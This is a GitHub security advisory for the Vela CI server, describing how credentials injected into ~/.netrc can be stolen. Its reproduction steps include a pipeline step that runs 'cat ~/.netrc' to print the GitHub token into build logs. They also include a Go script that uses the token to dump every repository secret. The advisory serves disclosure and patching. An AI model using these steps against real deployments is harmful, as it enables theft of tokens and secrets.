GHSA-8j3f-mhq8-gmh4

Описание

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

1. Create Vela server

2. Login to Vela UI

3. Promote yourself to Vela administrator

   • UPDATE users SET admin = 't' WHERE name = <username>

4. Activate repository within Vela

5. Add .vela.yml to the repository with the following content

   version: "1" steps: - name: steal image: alpine commands: - cat ~/.netrc

6. Look at build logs to find the following content

   $ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token>

7. Copy the password to be utilized in some later step

8. Add secret(s) to activated repo

9. Copy the following script into main.go

   package main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) } for _, secret := range *secrets { fmt.Println(*secret.Name) fmt.Println(*secret.Value) } }

10. Run the main.go with environment specific settings

    • VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches

Has the problem been patched? What versions should users upgrade to?

• Upgrade to v0.7.5 or later

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

• No known workarounds

References

Are there any links users can visit to find out more?

• https://github.com/go-vela/server/pull/246
• https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token

For more information

If you have any questions or comments about this advisory

• Email us at vela@target.com